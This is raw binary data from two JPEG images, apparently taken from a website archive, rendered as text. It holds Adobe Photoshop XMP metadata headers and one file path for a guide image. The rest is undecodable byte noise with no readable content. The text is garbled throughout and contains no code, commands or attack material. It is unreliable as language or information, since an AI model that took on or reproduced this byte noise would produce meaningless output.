xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:B713D73A40C111E9AE9AF35E9F40F133" xmpMM:InstanceID="xmp.iid:B713D73940C111E9AE9AF35E9F40F133" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�%�;�R���		





���0���0 P1@!2A"3`#5��B4pC$D1!0AQ2 @q"P`pa�BRr#�����b�3�`��!1!Qa0A @Pq���`�p�Ѡ������-��wN��\�
oF��tf�����oF��tcv���ݮ7W8�aX�IyYQ�oF��t��՟�q������z�� ��9P�Yy��@��"�ލWt��]��&�==;rg��Ө	����r
 ����i�Ɉ�Xo2��`[Ѫ�=�m�e��џ9��������ZpAɜXZtrTV$��TPT��U�:CVG���އ4e��r� ���
Р;9 -��wN�����L�|��j��@	����r�n�oF��}�@0�����%`����tX��H�4��N
"����$B����,�$A�������8Yy���h2���:+���	$�,�' ��3�@):0, �����RtA�)\�@W'DEը���NJ@g �\|���E����i��~dS@����_��~J�-@����_��~L�+@��?h_�?=O̊@]@B����.>H�h��rV�)���9*��à^�0�v�|Vm[vX@
`��
Fs�(0
;��\a�����AQX�l�vl;*1fxq�Q(���f�NN@GG@����L��A�IyI�9 ��+-*���rZrA%g% 
�ғ=y�٨�ഀpI��J� ��$�vg::9 ����
&bت�2�� �J@�- 䒐H%��c�/$�A���XpZc+��R�vTy��H�y� Q���b*�B���A攁
���Q�P�vy @����˳���|W�y����g���>���J�Ow.�S�۫?k�w�v�s@��k����o3�8���g�����7��~;�^5ty��Ƽ�`4�tz��^Q��<Cii�4�r�8@c�����t�n�'�W�\`<���^`�a��^x�{q��x�I�Y���@{�vz� 1��of]���!�n�����>��D�NN<i4L��Y�f@��]���<{�F�/�~�ƫ �>��
����l0�����]��v7^�����7��xט{�vz� o���0X���W���ޗ8d<�h��
@:$�$N'g@g ���pr���A �nLkA�'�.@�n;+-*-1|�֭�Q�b�)�/���k0/��k��@H4��_V"�h=�LY]� $g �j��xE���������$��@R����y���p�(!@ (!@�~Կ^0��>P4P@!@!A
(s�/����� %����5~E<��	�X,: �V@	,$�@m��%0��	
�7'�,6us�2�͸g`^�t�-,��@ԯ>>��+�� 
��ղ�;3j���[�2Eدa$��Id�\�ƀ�Ѧ�[9�!�$����6$K*�9 �I'D��@�@ڬ�@�	=������ub�OB�G@���Pg�5�:9�R�- �֕,ʌ��>��ZXA��y����\�ͅd��TH
��d	W�}vZ`��³��蜖�暌���*��prvI�$�F���$	$$$�@A �@M5��J`7ԃ@�o<8�@�	Z��O�Z}���\pUe�C�e�A�^O��	V���yᙠO���O�\pF�d��|t�>�� ��9@?���,�G�3g_z�!ͷA�Ddw�|���=|M���;!@�\�40~���W��ւ�E���5m5H��#����5֟��k�Ou8�ƈ�|Zq,��q�C#�=xY�j?G�n��u�~��뎣%:#V2���g^&�06L��_�Z�gѹM��G�=�3Ѻ��Y��0�P�n���Euw\����#!#��?|�w�������l��n��]�א�m9���N�4�4���O^f�z�+��+��+��+��+��+��+��+��+�c��b���+دb���+دb���+دb���+دb.�+��+��+��+��+��+��+��+��+��+��+��+��+��+��+��+��+� ��
Uy�:`�uA����h.�;_;@L��D֗5���3����!
#DW�TT��T��MsJ�1�����P��65�~����q�U�S�������pT�_7u=�����U5G8���w��I(�@�ekL|��,7���s�\_!r38��r�¿
�����*����y(d<�=���������r�׏�v|<��ܻ6f�y���Ĺ�ú~*ǩ��?A~-�O�;��gG�?���4TTTTTTTTTTTTTTTTTTTTTTTT�[���wq��~A���EEEEEEEEEEEEEEEEEEEEEEEENE���.ph1�i��Ntz����y��:#�2w�o���-����@�q6�I!q� ��J=uDuN��Y�_�@��Vp,�0 �Ll���w��6���+�j�j�F��F����LoQ������ZiSY�$F5o6�H���!b���qO��x;��mT<4*��a����T*�P�B�t�1�@k���1�P�k�Z�<��*A��S�4Դ�C�ְ�5�P�ϥP�};Aµ���ʶ�L7H�-�S
���Ž���	���ȑ�7����>13=�V��}E̼6���g���ߺ�ۣ��Ψ��3K�[un�A���2&�������㘱���$��,�F��FN�L̷�X���=��Gp �q����k苅K���-���չ�n/����1���������v�jaiy� 7����(|��6��2��~_�V�a�;��b6�?�����z���.:@���ǙtOjo�I��	��@*��A���Ⱦ^�ޮE��f3�$���׏�2����E�^'fKt>\,is�SE�	�ֳ��}��|�&�s�ޮ�i�F݈`c���/kȌ1ڀa�
�M�TA.��u|����җ)屼Pu�q�n#���A�=�+1�v|VG�0����w����q���/թ�e�k�{�,������1]t퉘�7��?8��,�#�͞�)�{���=�<������7�XM ^PNn�jB�X�׺m���J�q|�A�9r&:��L��9�⃯b�y�%��n�p�[X%��dZ�t��p��3�������q�q:u�Y"w��v��\��� ��]��[�[�[�[�[�[�[�[�[�[�[�[�[�[�[�[�[�QK;�V�+~�
߅o·�[�V�+~�
߅o·�[�H˷����������������������������������*xj��k�^tN�<�py~l|��9�c���E�(+�Ƞvd�6O�sr���_�!tجl���|1�!Q�?�s97m��8J��];��g7lG&�~G^��Z��y���M�[22���d�Ǘo�����N넧:C$�9�%�f��-o��q
���t�����Y��ٲ�����ٰ�7r치Ds���sZ��?c�������#��q3�e�rJ��J��J��J��J��J��J��J��J��J��J��J��N���|3��&}����J��J��J��J��J��J��J��J��J��J��J��J��O"�W��9���1M4�IΎ�h�8x��w���9��c�LX�H=�*X_�>r<H��dd:Gbb�\v��E��{���ku��W��n�7zf6��A�p|�csߍ�O7gLk.��;^�P�kHՀEv.DQ���<�k���q�~o^��1Hcxm�/�r{�5w߷s�4ӧ��!Г�$/wp��l���	�)�Tᢧ����mr-pA�*�+\�\����'��Ä��+��ɰ����Z�m�W�#E�8��X���ۻi�����-pҊ(^��+\�Z�~Ѳ2��Y+�7�����̉�qp������q���Ğ\7��f�ȕ���͍��[���d��6�>��}�_u�@'kHt_��2��?�R�c���䊸>Wǎ��4ט�L�����S��H	1�0d���G�†HM�K.�>k��2\ir3��Y�ȍ�塰g�d�hr�sL��އ������쁷�M��j26�OY8�F7��%�@!�,92:qg���i*<i\����ˬ0�#�ν���x���Q�w0��p��4f�p2D�L� Rm8��������� {]LfD�m�P���&?��8_�,��2~��_q�5��!��q33>��As�Ú5+Er>�
.�,-Mj1���?���,�G�3�h�U�'�3A�4O4grV�&�3��b
��X��3����'�3FѢy�<�*�
�
�
�
�
�
�
�
�Nڭ�	b�W�%����y�|��8:��[�E�y�x�膃��8:�
d���e*'�x�י�׈„v�20(���8:���
��pu�"�lh��3���^g��������������������'i���&ϖ�Aߡ7<��K����.�C�;�h�tG4v�t�4wj��8q�h�;�j�W"x�4v�t�4v�tG4w��ʊ�����������������=U_З*�~���@��7�3��7�3�@
���ޜ�]�跧3��0'1\J��ޜ�^1".�1�*{��ޜ�]�跧3�F�ޜ�_ޜ�@�*¬*¬*¬*¬*¬*¬*¬*¬(d�z�	��xV���ΟԻ��?!c�^�rIW/��?!
���?�KhU�~ǧa;gN����㰶�h�ǡb޵ԧ�ڞ��z4��l//�U�>0�cT�jz��O/��KN��m�Ӡ�2eEM��]�'�b���UUUUUUUUUUUUUUUUW�O�Ġ�Z�bGr�3h�amx��!�H�O�Г\�:�(�CVm�K�3D�Oau��Ц\b�f>��]�]�:�Z��wE�ʵ5V�Տ�r�&���y����cO�qc���85���-�O/��GX�N5��?��l��f9�qFq�oO����{��]7�~0Ǹ#���O�}�$e"�T�qz��<����dg9VG�8���-�lQ��&��ۊ4��r�I-}�ց|��G��oT����c�L ۑ��m�E�r4N6�;��x&�a����{�Q3vJ���N5�%��\�8�n=,ڭCl5���ɶu�hu��t"(�pRi�A܋�����C�k�#��v��Q���b��ꕏy�Vlxp��W�M�ї��ݓ`5SEG�H�*,\�Q�6A'/�Qe��a	��@Ι� ۓ�"ʚ�Eþ�Q�z���3]D3Z��ħIy�*Y�r..�B�����S�L x#�����ϲur-�vO���Z<�S���z��w��S����C�Ɗ���Qr�[�I���	ʻ��Aڲ�Cċ��؏�b>�t�`v\��#�����nʩ�⣮vDT���dj���ON�V	�^��V�WN�Ɋ�랰P&���M�5P��GI���P�8�랴�C�m�t9N�V�d�Z�x�u�^1��O�Š���CR����n��I
:w&��6�0�ǬW��+�ӂ�6��@�"��vB��~���x��:�\���G�o�\;�k�;���q_��}����G�uUUUUUUUUUUUUUUUUE乗2�\˙s.e̹�2�\˙s.e̹��UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUW�,"a‹rIF��\<r��9�?j��Q���;`a�~ex�:��.;ʄ�$�+�j�{x���1�]��/����R�:��X�D��P�)%<ۙJr�Q��D�,R�EU9��Q��$�E$]��^x�����;י��#3R�$9hW��>����3�^a�BRЅ�qV��cNՏ�r�+rƿ^)�.��>�=ŏ�$c ��r���<��yba8�'�8���<�����oO����{��]7�~0Ǹ#�?��S�p���H�%^��-��/��G&Y�U��>d��t���x&��ۆ4��r���V�C������,u)��
㤞�^�.��#���
��ۋ�衢�v,�����X��h�K�k�c�c�l�(7)]��Q�C
��T;�^w��K|S0���ݖU;k{{��JѢѢ��ǡe�~���:�&�E�e�uEE�d��u�]�J�;�C�/	Od�]r1��N�
��V�n�q1<�*��ƈ�U�Q�聪��V��m�m#�&����(�2�F��нC��ZyF���@²ް����m��'/�,��S��3�!w
������+��H�v����Ld�&(�F^r�?�ŦC��^��’���X�4��4泙xbcn<����Hf��}@߰�z��qY�Բ�xX�U�W['�X���By�����;�mK��sӗ��jǒB��:�<6��ܻЗ�oF�ZeR�m5��E�^v�(<c�DJ7	!�A�Ɋ�%g���<z5�棂�c\(��P�y��d͌42���i�Y}@��Պ��Hd�P���������Q�n�F���&�e'FUF�W��ތcn��K��7�n6��FP�E^�܌cA�b��陇n#����;geEDƻlf|�D
<�ad��	��tN��\IKi:e���K/~��\���~JRf�Y{�z1)m"���Ɖ���(�ܟz�mm��F��Tċ����?!1�s}Oc1�sz,��ۡ|���f�.�9��#n�OU�:=��{�6��I܏>oA׳+����d+$,���,�3AuAZ ����ݢ&����X��J։�'�>|�1�$����E��������A��� xl�*��<՘�*jJ��p�>o1��ZPQ�]��:0�W�'�d�
�Cg��;��9�3l��Qh�'B�9�0�d{R���}�����2O��2y�i�U�j"�I�}ngd��h�tt(c��C7��Nd[o����z�E���s9g,圳�r�Y�9g,圳�r�Y����m��m��Y�9g,圳�r�Y�9g,圳�r�Y�9g,圳�r�Y�9g,圳�r�Y�9}~�2��e�}��E^���>��:���;G_��z`��H�5q��R�L_fX�f�K�V�+IةF�D��"���@[ƒX����%��Ю�Jq�e��>8z�Y&�>Pt���ԇ����V�CJb)��l֬y�t��j�xLB�N�>�t��M9S��d���p��3���t1�R�ҥ�{;��T((R!y`�mUo���A�i�k���E1IPa^"���
%�p		@�喆HsA6��7��s4��-Q�����uuevܾﳗ����(�b=�\�mN���:|M
�ZzO{��`���t�N�k���a�������������������������G��u�;��e�e���?��1д�������������������������r�?��ڨ�ʚ
���gO����o@��p՛랺^�X�W^m���^�
=���B�!��ʺ
��~z�k�j��������#I
F�jH�5;�]]e=b6Lza�OE��T��ʙf��+�����d�tꓮ=��F��t{�q�K0�A�=N�ݜ�6�"tAe>����H��Igъa��w�G�N�4���]��P���`��8"*h]5��r�>pV������/�;�t�@�4�

f��N�6��[=F��?+��'K�����
b+��5]��h�-4�QnR�w�d��|����*��G0�q,Ny0m���$�A�5�o�7
���T@?�cu�%Ԙ۪�����@�D���~��N�.�����S�@��uI��#h&��/��[p�G��ɀ0�Z�_����|�FȽ�
:���C�uSh�H�x�qE(C�J}V���Gj��J �40�!O7�Ԅk6��W�s��C�AQ�.��O^���}.2���[M�m�:T� ��C@w@�VM@ޑϢ��
�\�U�rw9��u�.�ል9:�L��4����J�H.�h)�xHF�X`��~�I�ջ�>�����+�}C��2����{�:� e#V@7�Ģ�OV�i�-R
*`QbU[�0��?K�}�c0��?K�}�c0��(D���R�w|"��U?���Iv�tL><xʪo�	@݈6����C�j�F-h�XY��ܳ���Tb98�X�pN8��ҋe&����ȅ
|�ln�F۫��.��҂���P*�Vo����o5��>���QK��g����;y�><݆v7�ȵ��X:�[�c�^a���+���2|D��b�MG�����&�	��)_�J���?m�#�%}v�%9�Ǚ�d�L+3�s3��]zo�]�L����m�J]s�WU�8�U]ek�dw];:����oC�t-�aપ�]W�������/E�����8>,�����p�����n�	ǜyǜyǜyǜyǜyǜyǜyǜyNj@�|��o��>�8s��m�[�>����>�n�D�Q(�J%�D�Q4��[-4��Uz"���luw=���_�,��+��kbj�ʺ-L��Ы�L�MX��vh���fk�Ed�(�p���O1��܈��
Ai�;I�n�D[@��Y�{��<��:d��$I�Gs�Y���Nډ���5!tk
Η��n�4K��̺CM_y�z;ڸ�>��f	[�v�
*W���рq��Ƕ��l�=�N�o��#�����~��.��b9\�m^���:|M�ZN��{��H����N��ѭz?��q���������H���n��٥�?��1��_��������� {UeYSA�z>���5w�mz}�>�e�Ꞻpr�#}]x�._�t��3��:{�S�B�d��F3v���z������Ņg�^q`�0Y�Ĵap�{���R�\�P�_\�[�Z�_̣V�� >�Ae�Uk����`����q2
d�އ0��\��=�b�6D��ۭ>����}d�
a3�&^��r�e��9�-�'D�,̝�n��)�cs��츂SW��ϤL��ƙx�v����C�@��n���k�!V���)�D^�lE)��J	��r�
c�,S-b(#̓�e�]��&4����k�p&��v��p�ʌ�Y	�rg�
B�@w���̏��2�D�'V���o(Yb�Ԫ�i��]d��ڨ������;gf�S���ŀjꚤS؆
�}
^��i��&^��F=|T_���5�EC,j<���4�vhCM|n��k�	�bh�0X���/F�jV�(��|I
�Kn��V�j6'�[�~��N��h�.}6�;Z7��L,��u��a{"j+dA�78UQȋ�3�/A5����:ъ�z�ce�Z�U���p�
h;ƋeC������9��?�, �7�@lBޯC�6����?���1w��~�F����%!0
��~�Z57_3!JT~��h�mEm��
��[�6 ��,��Q;�,�s�9�~;:*:�;[Gl��^���teZ?L/@����4/�����/���}32��������mi��G��}Y�z�jZ����)�T{!�
䕋Qd��VYS��z���(֊�x�D
��4Z����?!�9�,��?E��gТW���g��~韝.v�MQc��?t�Ψ�Y�3G�?tϤ��>�_H��3�Y���2��t��0��?�Z�[�O�z,���e�L�6�C?�f�&���v]�t$9�k>_t��U�%�a.t�W~|�難��_t���G/�f�Y}�s�rNI�9'$䜓�rNI�9'$䜓�+_�N�]���#�%��]��?!�>��{�._���r�a�p͉gH	G�{�ɂo��X{��8��^^^^^^^^^^^^^^^^^��u��')X�g+���z,��{�'B�t�����0{�'���S€ �|�礏���fnJ|����0{�'@k����1�X=ѓI�8'��pN	�8'��pN	���N��Z�	�<$-���O�]��[m��m��$�I$�I=��m��m��m��m��m��m�I$�I$�Om��m��m��m��e��d��lI%�I$��m��m��m��m��m��e���KI&v�l��m��m��m�{m�Ym��$�}��I���d��m��l��m��l��m�I%�n$�gm�I-��m��d��e��,��lI%NI$��m��m��m��}��m��m���I=�I&��m��m��m��m�[m��m��$�I$�I���m��m��m��m��m��m��m��m��m��m��m��m��km��m���m��m�٤�m��m��m��m��m��m��m��i��I4�m��m��m��m��m��m��m��I$�I6�m��m��m��m��m��m��i��m��m��m��m��m��m��m��l�@)�i��l%��m��m��m��m���m��o��DAm��m��m��m��m���Ou�{4� �[m��m��m��m��m��i$�Kd�I$�m��m��m��m��m��m��I$�d�I��m��m��m��m��m��m��I$�$�M��m��m��m��m��-��m��I"H�$�m��m��m��m��m��m��om��
��o�m��o��m��m��m��m��I$��$�I6�m��m��m��m��m��m��I$�I$�M��m��m��m��m��m��m��I$�I$�m��m��m��m��h��m��m<�I$�I&�m��m��m��m����m����I$�H��m���m��m�M%��m�z�$�I$���m�ͥ��m��m�m��m��i$�M6�m��m�Am��m��i�m��m��M&�m��m��m��m��m��m��m��m��m��m��m��m��m��h�m&�m$�m6�m�d��m�H
��m��	 ��O�Ͷ�@�%��m@-��m��-��i��m���Am��lm��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��L�m��l�m��m�[m��m��m��I$� �I$���I$�f�I$�$�I6�M�E��}�奾�m�ɥ��m����I������I$�I$�?�������������������I$�I$���������������������H��I3��������������t���$�D�L���m?�����?���ɶ���I&x�$�?�����������m����H���$��&�����������O����IےI3��i6�����7����������$���L�������������������I$�I$�?������������Ͷ�m��h$�I$�IZ�m��m��m��m�ݶ�m��m���m�ۿ���m��m��m��$�I$�I$�I$����I$�I$�I$�I$�I$�I$�I/�����$�I$�I$�I$�I$�I$�[m�������m��$�I$�I,�I$�I$���W�������H"I$�I$�K$�I$�I%a��������퀒I$�I$��$�I$�Im0�������"�$�I$�I$�I$�I$�I$���������I$�I$�I,�I$�I$�I$������i$�I$�I$�K$�I$�I$�I������I$�I$�I$�I��I��I$���@���%�I4�I��iI$�I$�I$���������I$�I$�I,�I$�I$�I$�������i$�I$�I$�K$�I$�I$�I?�������I$�I$�I$��$�I$�I$�Y��������I$�I$�I$�I$��$�I$�������$�I$�I$�I,�I(!�$�I%�������I$�I$y$�K$�Jf�I$�Hs������I$�I�I$��$�CĒI$�V$���i$�I$�BI�I$�I$��$�I$�I,���I$�I$�I$�I,�I$�I$�I$�I$�I$�I$�I$�I$�K$�m��$�]d��$��!�I$�J2I$��%$�$I$���I$�I$��@I$�IE��HI,���I%I�I$��I,�I$�I$�I$�I$�I$�I$�I$�I$�K$�I$�I$�I$�I$�I$�I$�I$�I$��$�K$�I$�I$�I$�Id�I$�I$�I$�I$��$�I$��$�I$�$�I$��$�I,�I �$�I$߉$�I%��$�I-i$�K$�H7�I$�I�I$�IF�I$�K�I$���?��z��LϿ�x>C�=	�������8�emzK�<�ˆ���qY�G��3>��K�ۢa��6��ehn@�B��^O?���`,��!���u�[�|�g����4ᅍ��
1{uO
���۴ҫ��/��!I��a��}������B]T�4�w�7��'�@��Xu�A����j�i5���%�g���~ϡ�Xl9�^�<--lN�o��y����CLTZRݙh�y����}2���}$���+%ޣ��m%��*��O��?fa`%֖K���Y;,4^�ߑX��:�`��>�1��#+@�ښ��9aU��K��A�S�-�����eV�.򚨜��4���V�eJt���_5��`��^�m���>�B߱S53�.�j������|z��LϿ�e
8�ÜÜÜ9Ü9Ü9Ü9Ü9Ë�i��N4�N4�N4�N4�N4�N4�N4�N4�Šit�9Ü9��9Ü9��9ÜÜ9Ü9��9Ü9ÜÜ9Ü9Ü9��9Ü9Ü9��TJ%�D�iD�iD�iD�iDh[A�⸢)���1y*�j{����-o���Aѡ���v;�V6;>�d�<-�ӻקSN̳��%��zH�+&ñ�.�	P(�rB��[�Bp�3�95�iLb
�c��[�S1�Vw��0R�
Z�c�P�G"jxT"�`�Z�[Uv��/@����j �v��e��AGR�rM�In{G��
s��q�:��W�wR��������d8eƣxX����>%
	�$e�.0!�cRn(�d&�/�S����Q2pH�DZ�3А�53�+KI�3���n�=�cSs�u�7�I�)t�F=�̫´�3��J�����]�J�i��#BY9��m#BlG�U�����	x<��[��t�5w:8���h ��]7iT���Ƕ���
��B����fZ�-�����yt�����nz�m�†R�21mZ�\��2�j�}Ɯ���&�A�s��m񪃦��C����e��zѰ6��?S��������e2�L�S)��m񧃮����;�}��=h�;kp��e2�L�S_U�������-��e��l�[-��e��l�[-��e��l�[
=�6��C-EX��-U�c�R5f~�n�
C�l���e��l�[-��e��l�[-��e��l�[-���Vߡ{ 1h[���J]�$�Դ�/�ݶ�;/������	N�=�w�=��N�3���m��S'��5-��u��\�g�)�JvOǢz�Ѽ~��%�lbqi���W��R�,L�����Y]
����G�p��Z�T�h��=���e�-��ݿ,$[��[����qQA��c٦q���U��爒M�;���ԟR}��v�ɹ���[+?�Ϣ�n���e˦#��:�?QJJ�Apu:�^�>�0n��N2���F����	M_1��WF�S��"X�'��>:@�XQ���֭@�&��q��YSI���.jU�j�U��fe}�ŕ��4��-�b�����`+�f
c�GpZ���(G���M��I�
�8�u�v���j�\%�؍"%/k�F����2���Q�:@e��F�;9�|8���_Z4�h.�Ka� ��
ql<;̏lY]d�B�Qk���G]&�5��_�O�-��/:MB�ةx%`58��4/yt����x=��т�_E�K�k��6��Yo7��4�����F4�╾l�`4�eUpX����zU+h��c{C�����J.��в��k,�6��7��b�cC�
/S)s�_�����x�5j�Y���qL-WQ5�P�tF�P�UA Z���?=�-��1
hP4�u���L�8دSCd�N�H�������/�8�>!Rd&hs*��
�0�ҡ���pU��#���Ҧ�EX�ڦ���$���"棼�%r1F�Q�I-wQ!)+_0�DӹTj�0�@(쭣���ݾ�,O��F����x�D��eYӪjі��i��;:�N�]t*hm�
��+�Yr��._��#S0���p��Qm:�j'��ෞ�0���"�q:&Z�D�޺[��x
|%�xiM��\���}��q~�\�r�˗.\�q~���	�y\�r�r�˗.\�r�P�!��)�<�E�f�����B[�.\�r�˗.\�p���.���uC��~ڌ]^��{�u�]��{�u�U��0���WQ=l}�e���3֦7U�3>�Ϥ�d����wy�_���u���\w��hc-��%�k9�d����5jbc�hF���T���1ac�ڔ0�r�.rsB�T��+ɘ�&�U�ݥS�=�R����̚�q�#MZUʂ� k�2�R���[�!p��x$e`��-	�."�4�F�Kh�뺣iF��3>���g�g�~?[����s�	"d�x!v;����7r}W��P/q�*F�����h�h;�#rн�9Nã�N#�o�1�J��_�hQ�թ��)Ѭ��S3��F}�>�-�
�]M+n�O��]�ͷ��IN���2���oR��w�U�Z��b4��7p��Q��@�N�t���'�[O�wy�Ϻ�e�2v�5������
BL0�hu��ܛLP+��5���>��Np�w�@���3�A)8c�m�/���U���y�^��g�{���N�x�p<���	���Nl4_Cwwwwwwwv]6�V��	��N�p'�8	��p'p'p�p<��N�p<�0h�m(�Q��iF҉Fҍ�J6�m(�Q��iD�iFҍ�8	�Np���'8	�N �A`��~%� w�f���b���J%J6�J6�m(�Q��iFҍ�����J6�J6�m(�m(�Q��iD��;��45b�4a�t}os��ۦ�i�
�gs��j�T��r��|;�K%�1߯V�vg$Ƴ����r˫�Xe�8�}�cѓ{M[�C�gvZ�h���Ȩ��]�s��#�3�B���ߘ�'.���
�`/t���)��ox���ĵ9JB�^��|��=Wmv	�"K�3
��Ԁ)�so_))���J����va�\�M������ܨ�&�¦�V�-��F�.�BE�iY��>a�џ�Ӻ�0������>% l�g�NG0CP�Dkњ�К��A��V��~0�x�����c'�1�U�n�d�E!N��f]o�-����ˤU]�Os�=K����lF40:��#ѹ����# �F���ӑ5D��:>���{�|i<��!��]�$��}�Xor���(4?s����8��?s����8��?s����8��?s����8��?s����8O��?s����8��?q)���|i<�����$��}hX;kp��8O��?s����8O��?s����8O��?s����8��?s����8O��?s����8��?s����5
��Yn�yn�v[�-ݖ��we����n���n�v[�-ݖ��we����n�v[�-݆��C�
���B��kV���1�!�v�n�
C�l�we����n�yn�v[�-ݖ��we��we��we�����we����n�yn��\��}��A����U��:���/�]��=Ϙ`�6[oGE��=Ϙ`�)ev���@ QG��|�F�vC10��Y��G^��=
kr��`_��53��2��(��1�K��K��v�����M/��1�ml�~:�:nJ1ڮ��^:���Z����DQ)2=R� P.��B���D�
�0t;�0���.�ݍ��M��3Qo��V __�WP]	Yb�k�F��J���܊k��Q�J��V�V�1}�.Y�ĵB�u~��e�b:Ϙc����6�4:���#=�~��r�Y*T���[�=���ĵ1
N��:��ݭ$&�썰Vx����>a��Ł�T��U-es��s�"8�%��ΐ�hz���0�|���V�"1�"�¡%�(X=��J\��4�SY�,�JD�	��Zv���P���Ώ�[jh���T�eE�:+[��2�@�u�L�����Bl��Tk���9����.h�4tk�5l�Y�B��*��,48�?�	�*�KS�.�z�UANa|2��u�uQэ�n#8E_C��ylp��R�lP+~��T��XJ�U�ã-w��-���݄��Cp�������1��pQ��B{�D�"lQĥ�6��@y�2�]-sB@�?��4E�x�iW�Jb�Zi�����Gh-�k��/�r~a��KrH��#B�U�\,~Q�����:?IM�cG�S����R���N�!�.�'��w>a�ʝ#���ػ�J�돈o��kQ`����,�� "��#�&����u��~h���T�šPv��P�i���r�M���m��U�oݚ�_u@H������I�"��H�E��>q�6�r�7T�s�����mcbZin�[��K�le�ؗp)�ݓ�0�� IPxa��w��ҵ��+9��YH໨�5��]���0to��i��s�}�`���:V{�=Ws��Y�L�F��1E�f�h�J�"(�:����d,��DE,��rM&�cp��k��:V�w#}�u�MvL�g���|�G��t�b�	�U�,���mR:��u+��[�V�&���~���{\�a��	���0��[AkJ�g(D�gyT����1џ�s���z�W)��PH�uP?��z�'�۔�1��[ٔP@ (7�MĿ����]� :��m���C��?��?�9�	2��oBL�雠f������92��o8V�� �Ҋt��L�����0�0e͘���/�f���/�f��pt	��3ze�D�I�9'$䜓�rNI�9'$䜓�rCr1I�*T�R���_�����g�_�+��ֻ�����"Ew�
\���z3�{���$���:�Cm����{U��?�6�h��c�>���3�E����.���W�3>�A�;�37�S�P�5�Aꖳ�3>�A�U꾇C��)���f}��{_��B�^s3�{���&g�;�.\�r�˗.\�r�ˍN��YŜYŜYŜYŜYŜYŜYŜYņ��\�r�˗.\�r�˗.\�r�˗.\�r�˗.\�~��D�Q(�(�J%�D�Q(��B�T=*xTOj<!�n���r�;�>�]z���+�!z*	D �]�q�#��-��w��q��3��.\�����S�_��Gr��j�*W^�{�_�z7�^���?�8���bz`�LN��:#0{�'Aˈ硃�1<�	V��1����=��Q����
e��LN��=���9�8=��`�GB��3�p��8g�3�p��8g4?õ�W�Uij���R�
?�)�W����Bϡ�kг�{���5H���{����E>"�d���=��y�T�0�H	�5`�y��=��y�
�^mq�TP�	�g�O��T�d����=��tZ����=�ϡg�A@�}
I$�I$�v�[�.\�r�˗.\���W���.�L�
}s�R�� �z��Ǐ�jW�U��繾�����PK�y3\��8�8"assets/images/guide/guide_auto.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:92ADA81740C111E9AC4FB1AD40CD9468" xmpMM:InstanceID="xmp.iid:92ADA81640C111E9AC4FB1AD40CD9468" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�S.�8���		





���0���`2@130P45�!62��3�@`��40!1PAQ�"�a����#p�B�1@P�����a�`1@!Aq���0PQ�p���������S �)�@�� Jd%2�	L��@S �)�@��͠
S Jd�Ӹ0�%2t���wH&7ʠS 36�5L���惵@%27M��wH��EA	L��.�)JW@ �Ȅ���r���t�@S �)�@�� Jd%2�	L��@S �)�@�� Jz`�("� ("�NJ�dm���	J�B���jPD
�P�	OO���8kF���@o3�w{K�&0��t`.�ivd�9�Ό��.̘�7�р���ٓ��:0w��2c�gF�fL`���]���Ɍsy���]�1�o3�w{K�&0��t`.�ivd�9�Ό��.̘�?�լp*�xA���gF�fL`��'�tW`|����T`��:0w��2c�Y?S��嗴�r�7�с�t�]���Ɍ��Z��G�_ ��tc�,��]�;�,��.̘��d�E���r�sy�̐�/Z .�ivd��*�z� 8�:�Ҵ����34@��]�1�;��.޲�"η�����:0w��2c�gF�fL`���]���Ɍsy���]�1�o3�w{K�&0��t`.�ivd�9�Ό��.̘�7�р���ٓ��:0w��2c�gF�fL`���]���Ɍsy���]�1�o3�w{K/����+k,@]�ҊJ+���(���]�ҊJ+�ݻ�8w{J)(��!z^s��y^j���(����ߝ��:�.�iE%��)]�ҊJ+���,��x{�'����|�g8��p3���g8��p���a�ö�l��,;`Xv���a�÷ʄ)jgr3�܌�Fw#;�����gr3�܌�Fw#;�����gr3�܌�Fw#;�����gr3�܋B����[?�w������OWy���R���[�)�a��Bԅ<�\�.G�#ˑ����yr<�\�.G�#ˑ����yr<�\�.G�#ˑ����yr<�\�.E�KW�&����ˍ�e��n��ڱƜiƜiƜiƜiƜiƜiƜiƜiƜiƗ6�zL�C�1BSl��1_;t;oI�t��*d�LW����n_A��,;`Xv���a�ö�l��,;`Xv���yG��yG��yG��yG��yG��yG��yG��yG��yG��yG��yG��yG��yG��y_<;G��h�����R!_S���C�c:�R��ȷT��O����۩��ȅ�(Ϟ�i��v�n�73!/�a�=�$;@�P2���e(@�P2���e(@�P2���e(@�P2���e(@�P2���e(@�P2���e(@�P2���e(@�P2���e(@�P2�ܸ�8�8�8�8�8�8�8�8�8�8�8�8�8�%PT0-���p-���p-���p-���p-���p-���&d�.�p����g��.�p����g��.�p����g��.�p����g��.�p����g��.�p����g��.�p����d�3$���?.��W�g��~]��>�z�Ϡ��*]��!R�O�&t�39���3���ks9���3���ks9���3���ks9���3���ks9���3���ks9���3���ks9���3���ӦN���2n�~mշ���v�6�>OC�m�O��?4~h����G���?4~h����G���?4n{c.�
